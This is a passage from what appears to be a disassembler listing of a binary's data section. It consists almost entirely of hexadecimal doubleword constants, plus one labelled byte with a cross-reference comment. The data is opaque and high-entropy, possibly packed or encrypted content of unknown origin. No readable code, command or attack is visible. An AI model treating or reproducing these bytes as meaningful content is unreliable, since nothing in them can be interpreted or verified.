		dd 4AF19750h, 0B175714h, 67A5910h, 9003FB2Dh, 369D3184h
		dd 252F0921h, 283795h, 0F79EB293h, 0DB2E0183h, 61168059h
		dd 0D4C1AE34h, 6B8A24C1h, 1F49F88Bh, 7A1112BDh,	161423EFh
		dd 0AD740465h, 702F525h, 0E595656Fh, 0B9E14044h, 2E27EF96h
		dd 6CA30A7Fh, 0BD5D1D44h, 0D1AF30CFh, 0E9136883h, 5198029Dh
		dd 0C4CD0045h, 0D53FC185h, 16D6C6C9h, 9EE201E6h, 7B2C12F6h
		dd 21B28E13h, 0CE61E518h, 58811D6Dh, 12A6E6Bh, 4B3A79F3h
		dd 0BD41D251h, 50000EA5h, 16A28D0Fh, 6DF44666h,	2B5E1700h
		dd 1AE22958h, 887300D2h, 0A94DAB93h, 7C51DBDEh,	6FE605AFh
		dd 0C82D02B3h, 0D0719529h, 0B979B9h, 6A440F76h,	9B5891Eh
		dd 57501BC1h, 6722F8B2h, 84F5DB5Ah, 0E6A2FE47h,	11804F3Dh
		dd 59CAAF63h, 3712E17Eh, 46298A36h, 121C6A6Ah, 3513F562h
		dd 1AB8E4A9h, 0A906F31Fh, 0DF0AD3C0h, 0BA09958Bh, 6E585F5Fh
		dd 73F502EBh, 4459F953h, 0E9304477h, 6F013125h,	209409Dh
		dd 8709F5D1h, 20D7ECDh,	211A5B7h, 185FDDB1h, 3F1A7D7h
		dd 0CB597134h, 964825FFh, 90CE1209h, 76B88FBDh,	2EF45E04h
		dd 0C2AB9394h, 2154B5ECh, 0F578C4ABh, 93628B2h,	4E2B4CBAh
		dd 8B895D88h, 224469CFh, 0E1128014h, 6133B64Ch,	0B9E70E51h
		dd 693C596Ah, 0F2A801C8h, 76E9D113h, 0C161E38Ch, 9E438244h
		dd 1CC6D871h, 9BAE014Ah, 2418CE1Bh, 2AD3BE35h, 2381A4DBh
		dd 0BF0221C9h, 621CD481h, 72C8C761h, 7DE3FFF9h,	59DB8DCh
		dd 45F5FF1Bh, 2084B88Fh, 689812h, 67BF5295h, 68535037h
		dd 0B232CF00h, 81F98B76h, 0F1247934h, 46BA129Fh, 860C1820h
		dd 0F08D48CFh, 0DF92FF25h, 7D015D41h, 29952F25h, 0DC0E5E89h
		dd 0EA523101h, 8B490872h, 0E36DD64Dh, 0BE0018B8h, 3AAA6B09h
		dd 58A0CF9Eh, 7916B339h, 99DD12Fh, 53900030h, 0FEF9A60h
		dd 4AB25059h, 1A1A8253h, 555A435Ch, 7EA1DCh, 0EB93C8D2h
		dd 9033CA80h, 0ED173FB6h, 4BA0D54h, 1DF98D2Bh, 0B6B51DB8h
		dd 0C5E9A026h, 605758FDh, 2E980822h, 1EB50244h,	6D036090h
		dd 95317CC8h, 61817564h, 72BAF2C0h, 3A026CCh, 74D449F5h
		dd 8EF91C14h, 8D4A90FDh, 0D50B43D1h, 0C0811D84h, 0B062BA66h
		dd 11507A2Fh, 8A8D609h,	548D546h, 5F8AC209h, 58F2F355h
		dd 0B504F0F4h, 2D3F8968h, 50D3E483h, 0AA4113AAh, 0DE72F489h
		dd 8B57BD01h, 8C259D0h,	0E600FC66h, 0BE5EE0A6h,	4AEA5277h
		dd 0A5756600h, 37E36325h, 0B3D31AF8h, 3E358AF0h, 85049992h
		dd 3C141979h, 813EAA22h, 16591CD7h, 19087A6Eh, 1BA1313h
		dd 81F011E5h, 84DBBEAh,	1C14C283h, 0FFF32091h, 472052CEh
		dd 0FF505F62h, 0E3FF9F35h, 5E8289Dh, 0C22B5819h, 8531F01Ah
		dd 4D38DE00h, 41ABD5Ah,	3C50C200h, 813BD003h, 1945353Ah
		dd 2DE5B4FEh, 0D94565BEh, 0C83178B9h, 120DD0h, 0CC3C4003h
		dd 75C2064Fh, 0F38B2540h, 0E11210EBh, 0F8051B0Ch, 311C7A5Bh
		dd 0AD20D103h, 0B14DBD1Bh, 2CC91208h, 3EECAA04h, 8490F8A4h
		dd 0E3808B51h, 5FA98110h, 59BF60B0h, 0C34AC033h, 243EDCAAh
		dd 4819697h, 9AA7D268h,	0B472F9D4h, 8A14ACABh, 8B87FC21h
		dd 0C03560D3h, 1988FD8Eh, 0DF7D07C0h, 0BFE77F73h, 4A7641FEh
		dd 5D9EAB38h, 5C5E38C8h, 407D2360h, 3BE6BF1Ch, 611A9712h
		dd 9280E19Bh, 1DECAE0Fh, 5D03329Dh, 1F0E2204h, 70958212h
		dd 9C143E8h, 320B4DB5h,	19346291h, 0C8E8021Eh, 0A36DD86Ah
		dd 320C4CE0h, 6ACB663h,	691FF585h, 1709BD19h, 7D0D9665h
		dd 0F1CA821h, 1370E46Eh, 0BBA32E80h, 0EF658A37h, 33E75D70h
		dd 0E28CCAB0h, 904EDF2Fh, 36A6FF3h, 8063943Eh, 5090F59Eh
		dd 0A116EFF1h, 4E12B74Dh, 489F0CC0h, 1951929h, 0D23E719h
		dd 80379A2Fh, 0FE9983CFh, 816300F7h, 0C2FD56E6h, 9D52297Dh
		dd 79F264F1h, 2C4D75B8h, 0A401B5BCh, 4C12631Eh,	892CFC23h
		dd 75A10780h, 5D004B06h, 4D43BB4Fh, 7EE879B1h, 9B6AE1B7h
		dd 6D68C71Bh, 5960D0E7h, 0E4FF0E32h, 0E1B52D33h, 6E45BF91h
		dd 44E93012h, 0EF5CDFB8h, 62E809B3h, 0F49FFC07h, 34600507h
		dd 0CA26F18Bh, 29A52F98h, 1D645267h, 3B8EB860h,	23A58301h
		dd 1A6CA74Ah, 44AD8C20h, 2AE70A22h, 8B80169Eh, 7F5FB749h
		dd 99CD5813h, 0B05B249h, 8064B7EDh, 0CAC8B30Bh,	0F202EF6Ch
		dd 0F7A780Ah, 9FEAE48Ch, 0B4D92B85h, 0A82DE88Bh, 4076CF06h
		dd 184B2334h, 89F02E02h, 0FE0161B5h, 0AE1F4484h, 0BAD2FFB8h
		dd 8700E1F2h, 0A5B96663h, 0E8305E84h, 9D318964h, 230F507Dh
		dd 0E21257D1h, 0A3A67BB0h, 0D7723307h, 61B06893h, 44F98D31h
		dd 80AF2817h, 68B939C0h, 3CDC07FDh, 0AB62BE66h,	0CDC0DC6h
		dd 1DCEC422h, 44BF000Eh, 1343A604h, 0A405E7E8h,	650FD65h
		dd 0A5C90D7Dh, 41687C29h, 3B05D0E8h, 0A381749Eh, 2B673768h
		dd 0B92CC720h, 0FB0F0325h, 0F57536A8h, 31517C09h, 0D01FF3E9h
		dd 0E0E0AE9Bh, 4FE98002h, 0F60575E8h, 16FBC0D0h, 4107CB3Bh
		dd 6E5D3874h, 0BE23F990h, 342939E2h, 118AA632h,	0D657064Ah
		dd 0C500D6ACh, 8426E09Eh, 51F20DCDh, 2AC9A7D0h,	89827817h
		dd 7C09719Dh, 171A446Bh, 2F30D80Ch, 5C828A12h, 96A5973Ah
		dd 0A8D45335h, 47C82C44h, 0F104FD0Ch, 0D3528805h, 0D342D12h
		dd 18E19404h, 7B2C6D21h, 0E602E77Ah, 9DB529C6h,	7AED93DAh
		dd 0B9E83942h, 0BC3DD504h, 0A998AA00h, 0F0F60973h, 77442C29h
		dd 0F8229062h, 99028C18h, 0B437BFF5h, 0A84D4B0h, 385E115Dh
		dd 0A8D129A5h, 188FA739h, 972DCD15h, 15C4AE4Dh,	893F9160h
		dd 9AD3954Fh, 0E3DBD48Bh, 885F6AC3h, 0F6ABC690h, 9DD5C2Fh
		dd 4FB95E05h, 0DCE92328h, 574ED423h, 9C8D7A4h, 2713922Bh
		dd 60FD4E0Fh, 0DB53109h, 69BE741Dh, 0E4588A5Bh,	0C4361229h
		dd 0B3BB874h, 616D9D09h, 0AF2B93E4h, 0C1500F23h, 9D2EC88Bh
		dd 786A6E2Eh, 66345601h, 414FE3BFh, 22FB598h, 706BDB5Bh
		dd 0A500B75Fh, 988F15EFh, 5CD9BF54h, 8D28CC0Bh,	0E7174EF9h
		dd 60C8A0FBh, 0BE43E3B3h, 61A93185h, 41AD9B6h, 71B61D85h
		dd 30E7BFE1h, 1440E50Eh, 5F6FED23h, 4420B73h, 0F2700E73h
		dd 0FC88FBB3h, 0F0B0989h, 0F96A6880h, 0BB4C9FCh, 52347585h
		dd 2AB237h
		dd 0D413D937h, 5CBD3F19h, 313D29E0h, 0D03B450Dh, 6B21F55Ah
		dd 1518637Ah, 0E98552C8h, 1A829594h, 8EC5E781h,	92341ED8h
		dd 21B849FDh, 3B80E602h, 89840F8Dh, 0AB640Eh, 8FC45F56h
		dd 1B8ED8D1h, 7625B600h, 0EB645950h, 490DFC95h,	4C58E503h
		dd 14DB582h, 40F1FE0Ch,	5700601Dh, 0F0815FFCh, 48AF3CFFh
		dd 0F9350F67h, 818FDBD0h, 0E595922Dh, 160D812Fh, 8B8651DBh
		dd 31BD52FAh, 0F6D0285Bh, 501D629Fh, 0C061577Fh, 644CE23Dh
		dd 28D40DBEh, 14527D63h, 9417F5BDh, 0D2DE184h, 862E5EF8h
		dd 60252B8Dh, 3B1BD9F9h, 70937F80h, 0F7784DE8h,	0CFA2AD0Ch
		dd 0D3C94461h, 0B841FD51h, 0BF6B3D97h, 4C597D0Dh, 0F0322686h
		dd 5F11F91h, 8422499Ch,	0A4F48C09h, 0D3738B1Fh,	0B9AEDBB4h
		dd 0D59AC96h, 0F88BAC9Eh, 7908E5F4h, 0AF00E995h, 4ECF593Dh
		dd 866C8B5h, 84A3D100h,	0F59F1E68h, 334D02E5h, 0EB69274h
		dd 2D40D55Ch, 13E6038Dh, 9D62682h, 0A5D31AE6h, 30818C73h
		dd 6937355Dh, 8051DA5Fh, 780F8C6Dh, 0F55D0409h,	0AB60C59Bh
		dd 0F39396A8h, 66610507h, 0E7ECF28Bh, 9A06C280h, 3F00D52Dh
		dd 8C7CB299h, 1AB9F20Ch, 27D7E9B3h, 0F9E06ECDh,	25FD3B10h
		dd 60ED6A3Dh, 84EB2AE2h, 24AEB195h, 91C4C2F3h, 379D8552h
		dd 0FA5E92CDh, 8B948303h, 0A6444FCFh, 4649E0D2h, 7FAF0BBEh
		dd 56467368h, 59D8911h,	4327EA4Ch, 1D7927E0h, 4AF78B80h
		dd 8018DBC3h, 0E963CB4Dh, 0AE7A16BDh, 459E84B1h, 0FC58A8Ah
		dd 0C069F7F4h, 1A8B0EB7h, 49476F93h, 51885357h,	6FD30B38h
		dd 9B610BABh, 77685891h, 1A81E8DAh, 0BE9FABF1h,	9181357Fh
		dd 935B8018h, 0B29C066Ch, 0C09F024Eh, 50FE8B90h, 0AF004CD1h
		dd 773258CEh, 0F91901B6h, 5031E521h, 0B8713D90h, 0AE5400A4h
		dd 897E316Bh, 444A3865h, 68B089FBh, 95202497h, 41446D4h
		dd 15B50137h, 0F239C6F5h, 970014BCh, 374640CCh,	27165285h
		dd 822B8B0Fh, 0BD0715D9h, 0A5D0A6D3h, 70987Bh, 4C3ED2A7h
		dd 29EF810Fh, 365051F2h, 6F4BB9DAh, 5A9D4A82h, 0B8C29F5Fh
		dd 0B6FEF404h, 629D3699h, 8A501224h, 5BC1F2DDh,	7380A59Bh
		dd 0B5ACFF7Ch, 31F78C02h, 200BE952h, 3462C8BBh,	10A1E801h
		dd 76D73FB3h, 0B58D5F34h, 87C277EAh, 5C7D1A7Fh,	7524DC8Ah
		dd 0F3033B1Ah, 8D8D4218h, 7AC416EBh, 0AAE00084h, 82C72541h
		dd 0BD093BFDh, 0D1FFA1E1h, 0B4C07EBFh, 955F510Ch, 0A2D939DDh
		dd 0EDEA2313h, 24ADB64h, 0C0C89ABEh, 0BBB931ECh, 0B1510B9Bh
		dd 2B789055h, 81BD8FB5h, 961CAF8h, 90354B7Ah, 0DCC059CDh
		dd 34D4C64h, 4ABB6D34h,	5859AD6h, 0EF02CDCEh, 4600CC7Ah
		dd 0DF30D117h, 0B494E18Ch, 37976540h, 67A40E1Ch, 0BA6060CEh
		dd 1D5FA5E7h, 7BEB8200h, 0B8E98996h, 1745B50Ch,	16FC388h
		dd 0DA8454BBh, 0EC012129h, 0C4B52BE2h, 0B0BE02E0h, 0FE705974h
		dd 1530845Fh, 9F025B09h, 5E5DB406h, 0E7E11998h,	0F61F5050h
		dd 5B153D9Ah, 0BB4A4h, 3FB1DB59h, 2E8BF3C5h, 28765BDFh
		dd 9D4DB5A5h, 0B520E4C7h, 598D89B9h, 844A37ADh,	0B2ACAF76h
		dd 988C16F8h, 809A092Bh, 0F15DA1CBh, 0DD005488h, 0C48A615Dh
		dd 2D256FBFh, 115B3839h, 1A517FA1h, 9006C518h, 958B36C6h
		dd 0B4BDE6A6h, 247724B1h, 7CD05B8Eh, 9E1DBD65h,	6317A868h
		dd 6A0B08B9h, 8D8423FFh, 7A94150Ch, 6494B54Ah, 9CB850A9h
		dd 0E1A75504h, 8881B97Eh, 2207233Dh, 0AD640109h, 5B1B2920h
		dd 0DBC8C0B0h, 7009E6C1h, 271E4FCh, 7F055D3Eh, 8FEA4519h
		dd 2DA8A67h, 0D1F8C8B6h, 83B2465h, 502D1E01h, 98D7DDF2h
		dd 1D3170C1h, 0C00464BDh, 0D381D9ECh, 0B22D5DF3h, 68300C4Eh
		dd 624E971Bh, 0ADF7E00h, 0FCADC123h, 0A45800C0h, 3C87EE53h
		dd 0B924AF28h, 0F5021C56h, 0AEC82B5Fh, 60D143A5h, 61C7B0F8h
		dd 85B53731h, 45D12B85h, 8BAA1E87h, 0BBAEE8E9h,	0DA120082h
		dd 51C78154h, 6858F045h, 0BF067E53h, 5773F719h,	907F9510h
		dd 4E9F88h, 0AA42D399h,	3B8ADB80h, 20D0D064h, 0B59D3141h
		dd 4483BA08h, 10DA016Ah, 1BA56B12h, 8236FD67h, 0BD89571Bh
		dd 4B8DD819h, 986F35Fh,	7EF9B70Fh, 1C848867h, 9FBB6683h
		dd 85A5EA71h, 8805FE16h, 20A289DEh, 3FBF0F1Fh, 0B58D88F0h
		dd 2F98EFF2h, 3952E197h, 0A30C162Fh, 1E74CAEh, 78575CA8h
		dd 0DB6F6A61h, 0BDECC05Fh, 27BC0D1Fh, 4ED19AD9h, 3D9D8986h
		dd 0A0B9340Dh, 4B6EFF7Bh, 30F49803h, 5E9C078h, 0A48E41D0h
		dd 0FC9B42A2h, 96E07E6Dh, 9DCF358Bh, 20F6A61h, 4F9BDCFCh
		dd 0E882820h, 631F5815h, 60C04D24h, 0ED165585h,	17A90E3h
		dd 0A43BE9E7h, 0C2B85B25h, 81BA3DFDh, 2B2F9B27h, 0D56E3BD2h
		dd 0BB80BB4Ah, 62C233ADh, 83D040D1h, 0F4759140h, 536058h
		dd 80ABBCCBh, 0AD6159C6h, 0A22FE0FAh, 6512F849h, 46041921h
		dd 0D0B2205h, 37A5AFFCh, 82870915h, 8D9D7282h, 951023FAh
		dd 0B31E320Dh, 0E5B43E4Fh, 2D4E816Fh, 0EB50030Ah, 318F8C2h
		dd 0FA08DFC1h, 19968355h, 136F58h, 89EDD51h, 0B5534D85h
		dd 82754410h, 3F9DD301h, 167A5511h, 0C934043Eh,	2122AE1Fh
		dd 6530770Fh, 0A100759Ah, 0A3EFE31Bh, 0BF274Ah,	47190CC9h
		dd 82C0558h, 2204734Ch,	46C4BF15h, 0A68CCE0Fh, 0BCB6007Eh
		dd 0CB5538h, 9C3A604Bh,	835B7A48h, 3A1C89A1h, 4BB3B923h
		dd 0E042B63Dh, 2689E71Eh, 3DAF86ECh, 5FE2BC2Dh,	23F3769Ah
		dd 301770h, 0D69FE965h,	1586192Dh, 5A2F8D71h, 1E8BD4Dh
		dd 0C4D39B7Bh, 99BE41B3h, 0E1FF012Fh, 80F04726h, 4495DA3Fh
		dd 0CFF0031h, 9B83B1F7h, 8A01AA5Bh, 9253685Fh, 0D1CD518Bh
		dd 22B1C041h, 75D26F0Ch, 16A85905h, 4011122h, 0CC574B79h
		dd 165B5287h, 8691033Fh, 0DA14A2Dh, 6572E6ADh, 0C9FA604Ah
		dd 0B5B2F797h, 8BF5E1CAh, 81BC3774h, 0AE31BB95h, 21BA603Eh
		dd 24800B40h, 2FFC04E1h, 0C90A3623h, 3FE7CC31h,	0C460DA8Bh
		dd 0E00C4155h, 0D9F133DFh, 0E8B62D1Ch, 44CB484Fh, 4053D1Eh
		dd 570E820Fh, 0F4ED9120h, 60D30537h, 45B5632h, 9B2404F2h
		dd 76FFC0FEh, 0E88C7EEAh, 0F66A5E29h, 1603F05Dh, 6B7C1768h
		dd 0C6651891h, 8A252135h, 927DADCh, 2E8D9883h, 2F67F818h
		dd 99FA3100h, 182C75A7h, 8E5C1759h, 30DC09B7h, 40006964h
		dd 0E1ACCBB8h, 48F295h,	0E8F01160h, 855EA9CDh, 77E4C316h
		dd 2D9CF04h, 124EFE5Eh,	0EA60C755h, 0B47617D0h,	0F520B504h
		dd 7DE5812Eh, 92372DACh, 6CB1EAC7h, 0C4A5DB2Ah,	538103BBh
		dd 65881711h, 609781B5h, 1FE59705h, 21F13F04h, 4B7771A9h
		dd 0B6551359h, 0F618E081h, 7B105D3h, 9B06899Bh,	0D4FFC2D7h
		dd 0B7724CD5h, 84C0854Dh, 24DD7464h, 5EBE783h, 0F14689DFh
		dd 9AD27B59h, 432B7C50h, 0B9886939h, 9B582838h,	0EABB409h
		dd 76118AF0h, 1EBB3102h, 82F8376h, 24340990h, 0C03E09F4h
		dd 0F1B552FFh, 5009683Fh, 0E2763788h, 417AFA90h, 0B9016B5Fh
		dd 379753DBh, 9B56E2Bh,	1A8DD501h, 707EF341h, 0BE00820Eh
		dd 0AB398DB3h, 0E55090A3h, 4080E428h, 0F9A80405h, 977E4249h
		dd 60C76EE8h, 0FFCD1B61h, 0EB59D1C0h, 0EF4600A8h, 8B58A26Ch
		dd 854CC7F9h, 0F6AFD2DBh, 0AD007F42h, 4078B0F2h, 267F8F32h
		dd 21F5AC08h, 921C2686h, 1AF7E38h, 9D8BFDF9h, 0BE0530E5h
		dd 20169326h, 6E950AE1h, 1673F4E4h, 0E0C3050h, 1644479h
		dd 0AD3E87C1h, 4C9A030Eh
		dd 295803F1h, 0EBE70D2Ch, 4DE3636h, 16EE3964h, 29501B33h
		dd 18214028h, 113CD58h,	841B0957h, 9509C0C2h, 4C79E8BBh
		dd 0C985A193h, 0B813FD14h, 0A3D403CDh, 1BB4559h, 31EB34A9h
		dd 0D1C93F48h, 9131D60Ah, 21D98A63h, 0B70F01A5h, 0C6043A33h
		dd 4181DDE8h, 50061349h, 6BE2B55Ah, 0AA337934h,	7FC76Eh
		dd 0D7DFC1A5h, 0DD8A7F16h, 6C7F513h, 8104E518h,	21CC09F7h
		dd 26846217h, 0F42E4109h, 0D4C824FEh, 0D3C33F9Ah, 8CB6BB82h
		dd 9ECA4637h, 79DBF689h, 0C02770h, 0BC489E9Dh, 0BF6CBA4Ah
		dd 0AF9D3A9Ah, 0AAFDEACDh, 37259BA3h, 0BA7E004Ah, 0F760A78h
		dd 9D09C20Bh, 0B73E9361h, 16691076h, 0A71AB195h, 9B02A012h
		dd 0BF050278h, 1C3B9599h, 8D01E0B0h, 0C49B6958h, 1AF92449h
		dd 6C0791E8h, 12E6535Ch, 446AB6Eh, 0A85639CBh, 0D1931BAh
		dd 3DB1C486h, 2D158D18h, 48DBD69Fh, 50AFC09Fh, 1C1D0938h
		dd 4C28313h, 8AB8C4EDh,	0F15E6D25h, 64D5251Bh, 2797D97h
		dd 29E6D155h, 0FDCAA9BDh, 20504082h, 1811DF5Ch,	0ECA18509h
		dd 78FEF35Fh, 7C014062h, 7DF1AEBAh, 0AB41E099h,	86123081h
		dd 0F5406F5Ah, 2ABB1266h, 23526E7Ch, 78380019h,	45A253B8h
		dd 0DA5EA4B8h, 0EDE07234h, 44BB0596h, 885BAD30h, 128B03E6h
		dd 0E6965F23h, 11B8E37Ch, 9453D1CCh, 0AA11218h,	302D9021h
		dd 0EF7A9C22h, 0C91F7A32h, 3826211Eh, 5225B54Ah, 0BF50022Bh
		dd 515E3B8Dh, 0E4182F5Fh, 0F28A0C75h, 1FCB205Fh, 29729787h
		dd 35248B01h, 2CA27822h, 0E09D8A9Fh, 0D1D6109Fh, 0B43507EEh
		dd 208D4C24h, 9FB55104h, 7373C278h, 3469D82Ah, 8B04B79Dh
		dd 66D99E17h, 75778700h, 77C1997Ch, 2F7300CBh, 3F4B582Dh
		dd 9A3B09FFh, 0D57D25E6h, 8B9631C4h, 56E807DCh,	53F74D61h
		dd 63AA958Ah, 21002FD9h, 0D63D77DFh, 718228F3h,	29CD20CAh
		dd 8A280240h, 0B3A4BDF9h, 4823AD09h, 820875A5h,	4F037C5Dh
		dd 0D4C6D985h, 0EB4DC487h, 17387654h, 690461CAh, 0C6BC24ADh
		dd 0E0E4259Ch, 0C0419F00h, 30954F37h, 647A0053h, 61FD1712h
		dd 0CB7B812Ah, 70AFA700h, 0F467E95Bh, 192BE2FFh, 99078D9Dh
		dd 11A89EC1h, 18977AFCh, 0F82FBF09h, 0CD6B4FA2h, 0DC2161h
		dd 674C1646h, 0FD086602h, 0F95F533Ch, 47B5AF8Ah, 5D5C7603h
		dd 0FFFEF26Ah, 0FC8CF311h, 0C9012806h, 424E8ABFh, 0EF645B01h
		dd 21319ED6h, 883780D6h, 11540D27h, 0D43E1C3Fh,	816E9DAEh
		dd 12D54E5h, 58EA802Fh,	0BF5261CEh, 6683902Dh, 4640977Eh
		dd 60880480h, 61D0258Bh, 0B7DDB662h, 15D50280h,	0FBE0557Dh
		dd 505F7E3Eh, 9FC46DF0h, 0D0983662h, 1008841h, 0E3D66D72h
		dd 0FCAEEFF8h, 310F31F4h, 7E40443Eh, 16671789h,	0DF2CE2A0h
		dd 0BE4AA800h, 0B88F354Bh, 541F98F8h, 74BFF9C5h, 3D7816B9h
		dd 0C43B9B6Ah, 25C0CFA0h, 12B22064h, 0BCE6505Dh, 713027ECh
		dd 181BF972h, 6B7E0003h, 0DFA56721h, 0D72580EBh, 642FCD9Ch
		dd 8BA3601Ch, 1D360080h, 0DC30D813h, 0B9588589h, 2C539C86h
		dd 98F4E28Ch, 0B1D14A9Dh, 10282BD8h, 86578A3Fh,	7F9B169Bh
		dd 0E7B79802h, 7AE49D2Eh, 4800856Ah, 0B1B6DF9Ah, 5D5F8531h
		dd 33F83D0Bh, 0DF4CF75h, 70B2ADACh, 0B7277844h,	40C350D9h
		dd 9D5A0315h, 362A5AF5h, 0BD20BAA0h, 50902C0Dh,	0BCA20E71h
		dd 0E2B8F6D2h, 0CC80564Eh, 344B6178h, 56ED8BAEh, 9CECB075h
		dd 0EE773B7Ah, 5879C738h, 4073A231h, 0B9046020h, 5CEBD192h
		dd 4C5B8CCh, 0A9AA588h,	0A8588490h, 0FAF0D37Eh,	0F66A8108h
		dd 0E0166D57h, 0DCF2103h, 5EA16C58h, 0F69B88D5h, 496317C7h
		dd 0BC917885h, 5F984A2Ah, 302B894Ch, 64BF1D78h,	0E4114407h
		dd 0A394FE00h, 0AC0BDE99h, 53623A21h, 0D3FA902h, 0BE6E25Ch
		dd 0B0586C03h, 98CE4D0Eh, 0EAF54E83h, 22D405C6h, 58DF821h
		dd 0E270E682h, 41E300DFh, 5774965Ch, 0A49F1287h, 85260EF8h
		dd 71E40670h, 2532DB81h, 9D6925D7h, 0CCAF14EFh,	0F0008D5Eh
		dd 7AFDE634h, 26C48EEh,	0E298AD65h, 0BF54B58Bh,	0B6425E98h
		dd 2D6C98C8h, 20EC20FDh, 190D77A0h, 0EB59295h, 0B5B2D28Eh
		dd 0C079A272h, 3F535BCh, 0FD754E03h, 21A8D707h,	0C409242Ch
		dd 89C94B32h, 9277FC15h, 81CAB05Bh, 9A46EF00h, 0C82B6ADAh
		dd 91CF0980h, 7371D18Bh, 2ABE9B00h, 778F440h, 4322EE34h
		dd 0ADA734AAh, 0F0E48EB6h, 88E6885Ah, 0D9645594h, 0A0AE12BFh
		dd 0EFFCBBB7h, 0D373BD22h, 4A2DF9EEh, 2A11AF92h, 4A2F9069h
		dd 7020A289h, 5EC79868h, 7688A35Ah, 9FC8DA4Ah, 5622AA1Fh
		dd 0A5A8BF8Ch, 0F5FE2617h, 815B20FAh, 0C538E593h, 4A2984Ah
		dd 0DDECF826h, 6D461DF4h, 0D33C8022h, 0FF28597h, 6AD9BF12h
		dd 0F96FEEh, 0F3DADFCEh, 0B8BA3046h, 90980BACh,	0CDFC61A2h
		dd 0D42DD4E9h, 0EDE4E103h, 0CB1E84B9h, 0BA088346h, 95B0F0CCh
		dd 0F4D3B30Bh, 7E130C70h, 0B5892739h, 8B13825Ah, 0D51DFCFAh
		dd 150ED3D2h, 1CB712B8h, 49D92DB0h, 2B1502BDh, 9A375FD2h
		dd 0F8AC1400h, 0E1BC5EEEh, 7AA556D2h, 0AB878537h, 73B9749h
		dd 0E24DBD5h, 0F8597ACh, 8027028Eh, 0DD7341CBh,	4411EDADh
		dd 0D696ACE9h, 38E0C4F6h, 0B526465Eh
		db 0EEh, 13h, 4
byte_544547	db 9Dh			; DATA XREF: ___:off_447214o
		dd 0B7AC16F1h, 78E99CBDh, 0C068CD65h, 0B86F49F3h, 5ED26048h
		dd 4C0FAAE4h, 0BEC24386h, 0AC608DE6h, 9495D8BFh, 4216FB7Fh
		dd 0AA26A520h, 0F4B5FC36h, 1DEDC002h, 56DE7298h, 0C781605Ah
		dd 0D00A37A4h, 0B9E1FF71h, 423B03DEh, 0E9C2EA82h, 0A3FBD626h
		dd 2DB2D812h, 4DA55B88h, 3CBAC0EDh, 541DF06Dh, 0DB798D09h
		dd 0A893A674h, 9B665A43h, 0A6ACC0D0h, 25DE4D1Eh, 6865D917h
		dd 202203Eh, 15F878BFh,	0AE16056h, 5E56FE35h, 5496C249h
		dd 91B243Bh, 395A7ADCh,	0ED33FA45h, 44DFCD25h, 6B660296h
		dd 79BD89A9h, 0DAF3E3EAh, 0A4181759h, 0C53C213h, 2CC026FCh
		dd 0CE78BEF9h, 0A489D33Eh, 0AD089848h, 0B3611215h, 7205E7Fh
		dd 5D64DBh, 30BA06E2h, 0B7FFCD0Eh, 7008504Ch, 7CC7E28Ah
		dd 0D312DCE1h, 7F05626Fh, 79191331h, 8D8F119Ah,	0AD859368h
		dd 0E612AEB2h, 166C46A0h, 84D711Ah, 0A9A606EAh,	5B57B917h
		dd 4E88A78Dh, 10F2F65h,	5B29A9BDh, 0DFF59F31h, 153E584h
		dd 0BA2FE5D1h, 93FCE00h, 95C6FDDAh, 57534C9Ah, 723CDA70h
		dd 0F6E178Dh, 95C56180h, 75A8040Bh, 0EC7DA94Bh,	2A2325C5h
		dd 21254AE0h, 7677BA95h, 5E3A6020h, 91260D0h, 76B72255h
		dd 0A8EBF94Bh, 0D40707E4h, 0E1D8F7BDh, 41C4425Dh, 1321D8h
		dd 9F0689F8h, 8A42D64Ch, 0BDE1D84Ah, 2AF3D155h,	13C55114h
		dd 1ED792CCh, 0D0616902h, 0FA6A88FCh, 7E271CA3h, 2E309A7h
		dd 0D797355Ah, 2980E9B7h, 0E4F96257h, 73583745h, 1B3CF88h
		dd 0D268FA13h, 5063D057h, 130B5258h, 2802201Eh,	56FE8B31h
		dd 542D4061h, 0DACA63E5h, 46A5F79Dh, 9CDFF84Ah,	2578AB86h
		dd 9613B037h, 0FBA86700h, 31EB8063h, 0ECBA61FEh, 192D2BEEh
		dd 7916E2Eh, 9589A53Fh,	56A82AB4h, 314E25E3h, 748006C1h
		dd 1392B128h, 813BA2C9h, 26BE1EAh, 0F1B5C8h, 0D986D5DAh
		dd 7EE54CFCh, 193A2BEFh, 0C093DBE4h, 58F38A6h, 6BB31449h
		dd 9509F356h, 3D592B31h, 4D38B3CAh, 9011421h, 81C5F2C2h
		dd 1A5D9513h, 9A28F78h,	6542C420h, 0DE8A0B23h, 0B482BB76h
		dd 297019BDh, 56291A95h, 8A1FDC61h, 1200D225h, 79D4B3D7h
		dd 0F1BB48BFh, 316A7631h, 52742B2Eh, 426014D2h,	0B68757B8h
		dd 611268D5h, 0A94A3BB3h, 4EDB814h, 969E16A4h, 8016A860h
		dd 17D67957h, 2DBC0E61h, 24A02F97h, 9464BA66h, 0D4205E5Bh
		dd 3AC15688h, 58040FEAh, 0E850615Ah, 0FCC58094h, 0A21538h
		dd 68B674A7h, 0FF735770h, 13ACDD01h, 96E187D9h,	12986E7Eh
		dd 32ECBE5Bh, 48F9FE80h, 7200BD31h, 83BB2F71h, 2F7B30B3h
		dd 13EC525Fh, 5B248E42h, 0C380C105h, 5B352B33h,	571271E8h
		dd 461CE7A1h, 0F36AB0FFh, 44A7B56h, 0EC53A249h,	5BC9AE03h
		dd 5AA823Eh, 6EEA6656h,	5B264509h, 79F8A33Ch, 0C3C42B58h
		dd 293278A3h, 50090262h, 7ABD9B39h, 23549B92h, 641D4D25h
		dd 0F1796714h, 801D1F34h, 2608290Eh, 5B04DA8Bh,	16D9D31h
		dd 0B6D323ADh, 0DB8AE0BDh, 0CCF30048h, 705E6CBFh, 0E7308013h
		dd 8501506Ah, 9E1C9719h, 566359Dh, 0B32BA5FBh, 22FC58D1h
		dd 61604A0Eh, 28658547h, 0BF610003h, 78A8C89Ah,	20575F50h
		dd 122F326Ah, 0E662A025h, 0EBB59522h, 0CD215100h, 790EB168h
		dd 409D94BCh, 35AD707Eh, 0D053170h, 57922707h, 6ABDC30Fh
		dd 56728D03h, 2C1D47Fh,	397C15CAh, 4099C0FEh, 50B225C1h
		dd 7DAD9566h, 0A15D9DE0h, 28059BF3h, 10812222h,	4AAD8D3Ah
		dd 4F38C0CEh, 80A89E5Bh, 0A5AA9C3Ch, 28770B64h,	83705140h
		dd 509317B4h, 0B17A930h, 0FAB201D7h, 72A2BF66h,	0FEA515Fh
		dd 93A62A8Bh, 0AC8E5B84h, 0D314AAC6h, 0B13485E0h, 0D70CAC9Dh
